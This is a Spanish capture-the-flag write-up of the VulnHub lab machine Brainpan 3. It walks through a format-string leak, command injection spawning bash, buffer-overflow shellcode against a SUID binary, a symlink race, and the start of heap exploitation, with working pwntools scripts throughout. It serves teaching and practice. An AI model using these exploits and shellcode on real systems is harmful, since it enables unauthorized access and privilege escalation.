xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



VulnHub

Brainpan 3



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde solo encontramos 1 puertos abierto, este es el 1337 que no tiene un servicio por defecto

❯ nmap 192.168.100.64
Nmap scan report for 192.168.100.64  
PORT     STATE SERVICE
1337/tcp open  waste

Al conectarnos con netcat al servicio corriendo en el puerto 1337 nos recibe un banner con el nombre de la maquina y se nos pide un codigo para poder acceder

❯ netcat 192.168.100.64 1337


  __ )    _ \      \    _ _|   \  |   _ \    \      \  |     _ _| _ _| _ _|
  __ \   |   |    _ \     |     \ |  |   |  _ \      \ |       |    |    | 
  |   |  __ <    ___ \    |   |\  |  ___/  ___ \   |\  |       |    |    | 
 ____/  _| \_\ _/    _\ ___| _| \_| _|   _/    _\ _| \_|     ___| ___| ___|

                                                            by superkojiman  


AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

ACCESS CODE:

Mediante un ataque de format string podemos llegar a lekear valores, desdes de enviar 4 veces %p separado por puntos nos devuelve algunos valores en hexadecimal

ACCESS CODE: %p.%p.%p.%p
ERROR #1: INVALID ACCESS CODE: 0xbfedcf7c.(nil).0x5ce.0xbfedcf7c  

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 1

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

ACCESS CODE:

Para ver mejor los valores podemos usar %d y asi verlos en decimal, el tercer valor parece ser el codigo de 4 digitos que necesitamos para acceder al programa

ACCESS CODE: %d.%d.%d.%d
ERROR #1: INVALID ACCESS CODE: -1074933892.0.1486.-1074933892  

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 2

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

ACCESS CODE:

Al enviarlo nos otorga acceso y nos muestra las funciones que tiene el programa

ACCESS CODE: 1486

--------------------------------------------------------------  
SESSION: ID-9705
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------  

1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND:

Para solo obtener el tercer valor en decimal que es el codigo podemos usar %3$d

ACCESS CODE: %3$d
ERROR #1: INVALID ACCESS CODE: 8698

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 1

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

ACCESS CODE: 8698

--------------------------------------------------------------  
SESSION: ID-9289
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------  

1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND:

Podemos crear un script en python que se encargue de conectarse, obtener el codigo abusando del leak y enviarlo, despues entramos en modo interactivo

#!/usr/bin/python3
from pwn import remote

shell = remote("192.168.100.64", 1337)

shell.sendlineafter(b"CODE: ", b"%3$d")

shell.recvuntil(b"CODE: ")
code = shell.recvline().strip()

shell.sendlineafter(b"CODE: ", code)

shell.interactive("")

Al ejecutarlo automatiza el proceso del codigo acceso y entra en modo interactivo que nos pide un nuevo comando, esta vez tenemos diferentes opciones del 1 al 5

❯ python3 exploit.py
[+] Opening connection to 192.168.100.64 on port 1337: Done
[*] Switching to interactive mode

--------------------------------------------------------------  
SESSION: ID-6326
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------  

1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND:


Shell - anansi


La opción 4 llama la atencion ya que se llama SHELL, al introducirla nos otorga lo que parece ser una shell como reynard donde ejecutamos comandos basicos

ENTER COMMAND: 4
SELECTED: 4
reynard@brainpan3 $ id
uid=1000(reynard) gid=1000(reynard)
reynard@brainpan3 $ ls
total 0
-rw-rw-r-- 1 reynard reynard 22 May 10 22:26 .flag
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 never
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 gonna
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 give
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 you
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 up
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 never
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 gonna
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 let
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 you
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 down
reynard@brainpan3 $ cat .flag
(ಠ_ಠ)
reynard@brainpan3 $

Sin embargo claramente no puede ser tan sencillo ya que solo es una shell simulada

reynard@brainpan3 $ pwd
pwd: command not found
reynard@brainpan3 $ cd
cd: command not found
reynard@brainpan3 $

La 1 que es REPORT esta deshabilitada, asi que podemos pasar a la 2, la cual parece que habilita un repositorio, que realmente no sabemos donde se encuentra

ENTER COMMAND: 2
SELECTED: 2

CODE REPOSITORY IS NOW AVAILABLE

--------------------------------------------------------------  
SESSION: ID-2334
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------  

1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND:

Si escaneamos de nuevo los puertos con nmap podemos encontrar el 8080 abierto

❯ nmap 192.168.100.64
Nmap scan report for 192.168.100.64  
PORT     STATE SERVICE
1337/tcp open  waste
8080/tcp open  http-proxy

La pagina principal es simplemente una imagen que no nos aporta nada interesante

Fuzzeando por archivos y directorios nos encontramos un /repo y un /robots.txt

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.64:8080/FUZZ -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.100.64:8080/FUZZ
Total requests: 4715

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000002194:   200        12 L     22 W       241 Ch      "index.html"
000003509:   301        0 L      0 W        0 Ch        "repo"
000003571:   200        2 L      4 W        34 Ch       "robots.txt"

El robots.txt nos muestra un directorio /bp3_repo pero al entrar a este no nos aporta nada interesante, solo nos muestra un simple gif modificado de mario

En el directorio /repo podemos encontrar algunos archivos, entre ellos binarios que podemos analizar pero realmente no nos aportaran ni nos llevaran a algo

Igual que al inicio podemos explotar la vulnerabilidad de format string enviando el payload varias veces y usando %x para representar los leaks en hexadecimal

ENTER COMMAND: 3
SELECTED: 3
ENTER NEW SESSION NAME: %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
--------------------------------------------------------------
SESSION: bfa40bac.104.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.780a0a78.a.0.0.b7772000.b7772ac0.b7773898.b75c6940.b76380b5.b7772ac0.59.4e.59.b77728a0.b7772000.b7772ac0  

  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------

1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND:

En los leaks que vemos hay una cadena que se repite bastante y es 252e7825 la cual al pasarla a ascii podemos ver que equivale a %x.% que forma parte de nuestro input

❯ echo 252e7825 | xxd -ps -r | rev
%x.%

Mas adelante tambien encontramos 3 valores separados por los . y son 59 4e 59 los cuales equivalen a Y N Y que curiosamente coinciden con los valores que vemos

❯ echo 59.4e.59 | xxd -ps -r | rev
YNY

El N del campo REPORT significa que esta deshabilitado pero lo vemos en el leak, tal vez si enviamos suficientes veces Y podemos sobreescribir su valor y habilitarlo

AUTH   [Y]    REPORT [N]    MENU   [Y]

Para probarlo podemos enviar en el campo 3 varias veces Y hasta que el valor del campo REPORT cambie a Y y cuando lo haga nos muestre los bytes enviados

#!/usr/bin/python3
from pwn import remote, log

shell = remote("192.168.100.64", 1337)

shell.sendlineafter(b"CODE: ", b"%3$d")

shell.recvuntil(b"CODE: ")
code = shell.recvline().strip()

shell.sendlineafter(b"CODE: ", code)

bar = log.progress("Bytes")

for bytes in range(1, 1024):
    shell.sendlineafter(b"COMMAND: ", b"3")

    junk = b"Y" * bytes
    shell.sendlineafter(b"NAME: ", junk)

    shell.recvuntil(b"REPORT ")
    output = shell.recv(3).decode()

    bar.status(f"{str(bytes)} {output}")

    if output == "[Y]":
        bar.success(f"{str(bytes)} {output}")
        break

Ejecutamos el script y despues de enviar 253 el caracter Y el valor de REPORT se sobreescribe cambia a Y por lo que probablemente se habilite y podamos usarlo

❯ python3 exploit.py 
[+] Opening connection to 192.168.100.64 on port 1337: Done  
[+] Bytes: 253 [Y]
[*] Closed connection to 192.168.100.64 port 1337

Para automatizar el conseguir el codigo para conectarnos y sobreescribir el valor de REPORT para habilitarlo podemos hacerlo con un pequeño script en python

#!/usr/bin/python3
from pwn import remote

shell = remote("192.168.100.64", 1337)

shell.sendlineafter(b"CODE: ", b"%3$d")

shell.recvuntil(b"CODE: ")
code = shell.recvline().strip()

shell.sendlineafter(b"CODE: ", code)

shell.sendlineafter(b"COMMAND: ", b"3")
shell.sendlineafter(b"NAME: ", b"Y" * 253)

shell.interactive("")

Al ejecutarlo nos otorga el modo interactivo despues de hacer que el valor de REPORT sea igual Y por lo que deberiamos poder ejecutar el comando 1 que antes no

❯ python3 exploit.py
[+] Opening connection to 192.168.100.64 on port 1337: Done
[*] Switching to interactive mode
--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY  
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------

1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND:

Si enviamos el comando 1 para crear un reporte nos pide un input para crearlo, en este caso al enviar la cadena testing esta se ve reflejada solo un poco mas abajo

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

testing

REPORT [testing]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20230731164539.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [l}klqv\x7f]

Si al input le añadimos una " la respuesta nos muestra un error de sintaxis por sh

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

testing"

REPORT [testing"4]
SENDING TO REPORT MODULE

sh: 1: Syntax error: Unterminated quoted string

Esta haciendo algo con nuestro input usando una shell, si intentamos enviar $(id) para ejecutar el comando id nos refleja nuestro input y no el comando ejecutado

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

$(id)

REPORT [$(id)]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20230802100342.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [\x91\x8d\x80\xdb\xdb\xdb\xdb\xdb\xdb\x85\x8a\x85\x8a\x97\x8d\xdb\xdb\x83\x8d\x80\xdb\xdb\xdb\xdb\xdb\xdb\x93\x81\x86\x80\x81\x92\xdb\xdb\x81\x91\x8d\x80\xdb\xdbۖ\x8b\x8b\x90\xdb\xdb\x83\x96\x8b\x91\x94\x97\xdb\xdbۖ\x8b\x8b\x90\xdb]  

Al enviar el output stderr añadiendole >&2 esta vez nos muestra el output del comando id ejecutado en el sistema, que parece que se ejecuta como anansi

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

$(id >&2)

REPORT [$(id >&2)]
SENDING TO REPORT MODULE

uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)

[+] WRITING REPORT TO /home/anansi/REPORTS/20230802101150.rep  
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED []

Podemos simplemente cambiar el id por bash -i obtenemos una bash interactiva

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

$(bash -i >&2)

REPORT [$(bash -i >&2)]
SENDING TO REPORT MODULE

bash: cannot set terminal process group (1281): Inappropriate ioctl for device  
bash: no job control in this shell
anansi@brainpan3:/$ id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
anansi@brainpan3:/$ hostname -I
192.168.100.64 
anansi@brainpan3:/$

Ahora podemos agregar esta parte final al script y nos queda un pequeño autopwn

#!/usr/bin/python3
from pwn import remote

shell = remote("192.168.100.64", 1337)

shell.sendlineafter(b"CODE: ", b"%3$d")

shell.recvuntil(b"CODE: ")
code = shell.recvline().strip()

shell.sendlineafter(b"CODE: ", code)

shell.sendlineafter(b"COMMAND: ", b"3")
shell.sendlineafter(b"NAME: ", b"Y" * 253)

shell.sendlineafter(b"COMMAND: ", b"1")
shell.sendlineafter(b"LINE:", b"$(bash -i >&2)")

shell.recvuntil(b"shell\n")
shell.interactive("")

Aunque al ejecutarlo nos otorga directamente una shell como el usuario anansi es mejor hacerlo manual para poder tratar la tty y mejorar la interactividad de la shell

❯ python3 exploit.py
[+] Opening connection to 192.168.100.64 on port 1337: Done
[*] Switching to interactive mode
anansi@brainpan3:/$ id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)  
anansi@brainpan3:/$ hostname -I
192.168.100.64 
anansi@brainpan3:/$


Shell - reynard


Buscando por archivos suid encontramos uno que llama bastante la atención ademas del clasico pkexec y es el binario cryptor el cual pertenece a reynard

anansi@brainpan3:~$ find / -perm -u+s 2>/dev/null
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/pt_chown
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/at
/usr/bin/chsh
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/home/reynard/private/cryptor
/bin/su
/bin/ping
/bin/fusermount
/bin/mount
/bin/umount
/bin/ping6
anansi@brainpan3:~$ ls -l /home/reynard/private/cryptor
-rwsr-xr-x 1 reynard reynard 5568 May 19  2015 /home/reynard/private/cryptor  
anansi@brainpan3:~$

Despues de copiarnos el binario a nuestro equipo podemos decompilarlo con ida

La función main simplemente comprueba que se reciban 2 argumentos, si es asi llama a la funcion que llamamos cryptor con los parametros como argumentos

int __cdecl main(int argc, char **argv)
{
  if ( argc > 2 )
  {
    cryptor(argv[1], argv[2]);
    return 0;
  }
  else
  {
    printf("Usage: %s file key\n", *argv);  
    return 1;
  }
}

Resumiendo esta funcion primero define un buffer de 100 bytes en filename, despues si la longitud del primer argumento es 116 usa strcpy hacia filename bytes, mas adelante encontramos otro strcpy del 2do argumento hacia outfile

int __cdecl cryptor(int param_1, int param_2)
{
  int key; // ebx
  int character; // eax
  char filename[100]; // [esp+Ch] [ebp-78h] BYREF
  int original; // [esp+70h] [ebp-14h]
  int i; // [esp+74h] [ebp-10h]
  int file; // [esp+78h] [ebp-Ch]

  memset(&outfile, 0, 100);
  memset(filename, 0, sizeof(filename));
  if ( (unsigned int)strlen(param_1) <= 116 )
    strcpy(filename, param_1);
  else
    strncpy(filename, param_1, 90);
  strcat(filename, ".enc");
  printf("[+] saving to %s\n", filename);
  strcpy(&outfile, param_2);
  file = fopen(param_1, "r");
  if ( file )
  {
    for ( i = fopen(filename, "w"); ; fputc(character ^ key, i) )  
    {
      original = fgetc(file);
      if ( original == -1 )
        break;
      key = (char)original;
      character = atoi(param_2);
    }
    fclose(i);
    fclose(file);
  }
  return 0;
}

Mirando las protecciones del binario con checksec no encontramos ninguna activada

❯ checksec cryptor
[*] '/home/kali/cryptor'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)  
    RWX:      Has RWX segments

Debido a las comprobaciones el primer argumento tendria que ser exactamente igual a 116 para que el programa se corrompa de lo contrario solo saldra sin problemas

❯ gdb -q cryptor
Reading symbols from cryptor...
(No debugging symbols found in cryptor)
pwndbg> run $(python2 -c 'print("A"*115)') BBBB
Starting program: /home/kali/cryptor $(python2 -c 'print("A"*115)') BBBB
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] saving to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.enc  
pwndbg> run $(python2 -c 'print("A"*117)') BBBB
Starting program: /home/kali/cryptor $(python2 -c 'print("A"*117)') BBBB
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] saving to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.enc
pwndbg>

Si enviamos 116 bytes el programa se corrompe en algun punto de nuestras A's

pwndbg> run $(python2 -c 'print("A"*116)') BBBB
Starting program: /home/kali/cryptor $(python2 -c 'print("A"*116)') BBBB
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] saving to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.enc  

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
pwndbg>

El strcpy hacia outfile se hace en la direccion 0x804a080, si miramos el valor de esa direccion en gdb nos encontraremos con el segundo argumento que son las B

pwndbg> x/wx 0x804a080
0x804a080:	0x42424242  
pwndbg>

Crearemos un script que en el primer argumento envie 29 veces la cadena en little endian correspondiente a la direccion 0x804a080 para que sean los 116 bytes, y en el segundo un shellcode en x86 el cual nos ejecutara una /bin/sh

#!/usr/bin/python2
import struct

p32 = lambda addr: struct.pack("I", addr)

arg1 = p32(0x804a080) * 29

arg2 = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"  

print(arg1 + " " + arg2)

De esta manera en algun punto del primer argumento el strcpy nos enviara a la direccion 0x804a080 donde esta el segundo argumento el cual es el shellcode que al ejecutarlo nos dara una /bin/sh como el propietario que es el usuario reynard

Finalmente ejecutamos el binario cryptor pasandole nuestro script ejecutado como argumento y conseguimos una shell como el usuario reynard en la maquina

anansi@brainpan3:/home/reynard/private$ ./cryptor $(python2 exploit.py)  
[+] saving to �����������������������������.enc
$ whoami
reynard
$ hostname -I
192.168.100.64 
$

Para mejorar la shell podemos usar python y setear nuestro uid a 1002 que que es reynard para despues lanzarnos una bash donde trabajaremos de mas comodos

$ python3 -q
>>> import os
>>> os.setreuid(1002,1002)
>>> os.system("bash")
reynard@brainpan3:~/private$ id
uid=1002(reynard) gid=1002(reynard) groups=1002(reynard)  
reynard@brainpan3:~/private$ hostname -I
192.168.100.64 
reynard@brainpan3:~/private$


Shell - puck


Si miramos los puertos dentro de la maquina podemos ver que hay un servicio corriendo en el puerto 7075, al conectarnos con nc nos devuelve Incorrect key

reynard@brainpan3:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:1337            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:7075          0.0.0.0:*               LISTEN     
tcp        0      0 192.168.100.64:1337     192.168.100.85:36100    ESTABLISHED  
reynard@brainpan3:~$ netcat 127.0.0.1 7075  
Incorrect key
reynard@brainpan3:~$

En el directorio /usr/local/sbin encontramos un binario trixd que hace lo mismo

reynard@brainpan3:/usr/local/sbin$ ls -l
-rwxr-xr-x 1 root root 16589 May 26  2015 brainpan3  
-rwxr-xr-x 1 root root  7609 May 20  2015 trixd
-rwxr-xr-x 1 root root   343 May 21  2015 www
reynard@brainpan3:/usr/local/sbin$ ./trixd 
open: Permission denied
Incorrect key
reynard@brainpan3:/usr/local/sbin$

Nuevamente podemos decompilar el binario usando ida para ver si codigo en C

Resumiendo lo que hace el codigo, comprueba que /mnt/usb/key.txt no tenga el bit de setuid activado, hace un pequeño sleep y despues compara el key.txt de /mnt/usb/ con el de /home/puck/, si son iguales nos otorga una /bin/sh

int __cdecl main()
{
  int home_key; // eax
  int usb_key; // eax
  int comparison; // ebx
  void (*check)(void); // edx
  int result; // eax
  int key2; // [esp+1Ch] [ebp-9Ch]
  int key1; // [esp+1Ch] [ebp-9Ch]
  _DWORD attr[2]; // [esp+24h] [ebp-94h] BYREF
  _WORD buffer1[44]; // [esp+2Ch] [ebp-8Ch] BYREF
  _BYTE buffer2[20]; // [esp+84h] [ebp-34h] BYREF
  _BYTE buffer3[20]; // [esp+98h] [ebp-20h] BYREF
  unsigned int thread; // [esp+ACh] [ebp-Ch]

  thread = __readgsdword(0x14u);
  if ( ptrace(0, 0, 1, 0) < 0 )
  {
    comparison = -1;
  }
  else
  {
    setbuf(stdout, 0);
    attr[1] = 1;
    memset(buffer2, 0, sizeof(buffer2));
    memset(buffer3, 0, sizeof(buffer3));
    __lxstat(3, "/mnt/usb/key.txt", buffer1);
    if ( (buffer1[8] & 0xF000) == 0xA000 )
    {
      comparison = -1;
      puts("Key file is compromised.");
    }
    else
    {
      select(1, 0, 0, 0, attr);
      home_key = open("/home/puck/key.txt", 0);
      if ( home_key < 0 )
      {
        key1 = home_key;
        perror("open");
        home_key = key1;
      }
      read(home_key, buffer2, 19);
      usb_key = open("/mnt/usb/key.txt", 0);
      if ( usb_key < 0 )
      {
        key2 = usb_key;
        perror("open");
        usb_key = key2;
      }
      read(usb_key, buffer3, 19);
      comparison = strcmp(buffer3, buffer2);
      if ( comparison )
      {
        comparison = 0;
        puts("Incorrect key");
      }
      else
      {
        puts("Authentication successful");
        system("/bin/sh");
      }
    }
  }
  check = (void (*)(void))(__readgsdword(0x14u) ^ thread);  
  result = comparison;
  if ( check )
    start(comparison, check);
  return result;
}

El hecho de que haga la comprobacion nos impide crear un enlace simbolico y conectarnos al puerto 7075, ya que nos dira que el archivo key esta comprometido

reynard@brainpan3:~$ ln -s -f /mnt/usb/key.txt /mnt/usb/key.txt  
reynard@brainpan3:~$ netcat 127.0.0.1 7075
Key file is compromised.
reynard@brainpan3:~$

Podemos crear un script en python para que se conecte al puerto 7075 y despues de la comprobacion en ese pequeño margen de tiempo crear el enlace simbolico, de esta manera al hacer la comparacion seran iguales y nos dara la /bin/sh

#!/usr/bin/python3
import os, socket, telnetlib

os.remove("/mnt/usb/key.txt")

session = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
session.connect(("127.0.0.1", 7075))

os.symlink("/home/puck/key.txt", "/mnt/usb/key.txt")

shell = telnetlib.Telnet()
shell.sock = session
shell.interact()

Al ejecutarlo bypasseamos la comprobacion inicial y nos autentica correctamente, con esto obtenemos una shell esta vez como el usuario que lo corre, que es puck

reynard@brainpan3:~$ python3 exploit.py  
Authentication successful
script /dev/null -c bash
puck@brainpan3:/$ id
uid=1001(puck) gid=1001(puck) groups=1001(puck)
puck@brainpan3:/$ hostname -I
192.168.100.64 
puck@brainpan3:/$


Shell - root


Revisando las tareas cron encontramos una llamada msg_admin la cual ejecuta el binario msg_admin pasandole como primer argumento 1 y en en el segundo cada uno de los archivos de extensión .msg que existen en /opt/.messenger/

puck@brainpan3:~$ cat /etc/cron.d/msg_admin
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done  
puck@brainpan3:~$

Usando ida podemos decompilar este ultimo binario para ver su pseudocodigo C

Resumiendo el codigo este usa nuevamente funciones vulnerables como strcpy, recibe 2 parametros que lee por cada linea de un archivo separandolos por |, tambien vemos algunas llamadas a malloc por lo que sabemos que usa el heap

int __cdecl main(int argc, const char **argv, const char **envp)  
{
  void *stack; // esp
  int input_number_1; // ebx
  int input_number_2; // ebx
  int input_count; // ebx
  int input_buffer; // [esp-Ch] [ebp-8Ch] BYREF
  const char **argument; // [esp+0h] [ebp-80h]
  int counter; // [esp+4h] [ebp-7Ch]
  int alloc_1; // [esp+Ch] [ebp-74h] BYREF
  int alloc; // [esp+10h] [ebp-70h]
  int i; // [esp+14h] [ebp-6Ch]
  int data; // [esp+18h] [ebp-68h]
  int len; // [esp+1Ch] [ebp-64h]
  int value; // [esp+20h] [ebp-60h]
  int *memory_alloc; // [esp+24h] [ebp-5Ch]
  int file; // [esp+28h] [ebp-58h]
  int alloc_size; // [esp+2Ch] [ebp-54h]
  int alloc_value; // [esp+30h] [ebp-50h]
  const char *delimiter; // [esp+34h] [ebp-4Ch]
  int string; // [esp+38h] [ebp-48h]
  int input[17]; // [esp+3Ch] [ebp-44h] BYREF

  input[13] = (int)&argc;
  counter = argc;
  argument = argv;
  input[10] = __readgsdword(0x14u);
  data = 0;
  len = 10;
  alloc = 0;
  i = 0;
  value = 399;
  stack = alloca(400);
  memory_alloc = &input_buffer;
  if ( argc > 2 )
  {
    data = atol(argument[1]);
    file = fopen(argument[2], "r");
    alloc_1 = malloc(400);
    alloc_size = malloc(20);
    alloc_value = malloc(100);
    while ( getline(&alloc_1, &LINEMAX_2, file) > 0 )
      ++alloc;
    printf("[+] Recording %d entries\n", alloc);
    rewind(file);
    for ( i = 0; i < alloc; ++i )
    {
      input[i] = malloc(12);
      *(_DWORD *)input[i] = data;
      input_number_1 = input[i];
      *(_DWORD *)(input_number_1 + 4) = malloc(10);
      input_number_2 = input[i];
      *(_DWORD *)(input_number_2 + 8) = malloc(200);
    }
    for ( i = 0; i < alloc; ++i )
    {
      delimiter = "|";
      if ( getline(&alloc_1, &LINEMAX_2, file) > 1 )
      {
        input_count = alloc_1;
        *(_BYTE *)(input_count + strlen(alloc_1) - 1) = 0;
        string = strtok(alloc_1, delimiter);
        strcpy(*(_DWORD *)(input[i] + 4), string);
        string = strtok(0, delimiter);
        strcpy(*(_DWORD *)(input[i] + 8), string);
        strncpy(memory_alloc, *(_DWORD *)(input[i] + 8), 100);
      }
    }
    fclose(file);
    notify_admin(input, alloc);
    return 0;
  }
  else
  {
    usage(*argument);
    return 1;
  }
}

Mirando las protecciones usando checksec encontramos NX y Canary habilitadas

❯ checksec msg_admin
[*] '/home/kali/msg_admin'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)  

Ya que toma los argumentos de un archivo podemos crear un .msg de 2 lineas y pasando los argumentos con 10 y 200 bytes respectivamente separandolos por |

#!/usr/bin/python3

payload  = b""
payload += b"A" * 10
payload += b"|"
payload += b"B" * 200
payload += b"\n"

payload += b"C" * 10
payload += b"|"
payload += b"D" * 200
payload += b"\n"

with open("exploit.msg", "wb") as file:
    file.write(payload)

❯ python3 exploit.py

Ahora podemos ejecutarlo como se muestra en la tarea cron con 1 como primer argumento y el nombre del exploit.msg que creamos como segundo argumento

❯ gdb -q msg_admin
Reading symbols from msg_admin...
(No debugging symbols found in msg_admin)
pwndbg> run 1 exploit.msg
Starting program: /home/kali/msg_admin 1 exploit.msg  
[+] Recording 2 entries
[+] Message from AAAAAAAAAA@kali

Program received signal SIGSEGV, Segmentation fault.
0xf7e899e4 in fputs () from ./libc.so.6
pwndbg>

Sabemos que ejecuta algunos malloc asi que con vis veamos el heap para ver como se representan los datos, en el chunk en 0x804c474 podemos ver 2 punteros, uno en 0x804c47c y otro en 0x804c480 que tal vez podemos sobreescribir

pwndbg> vis 5 0x804c390
0x804c390	0x0804c3a8	0x00000011	........  
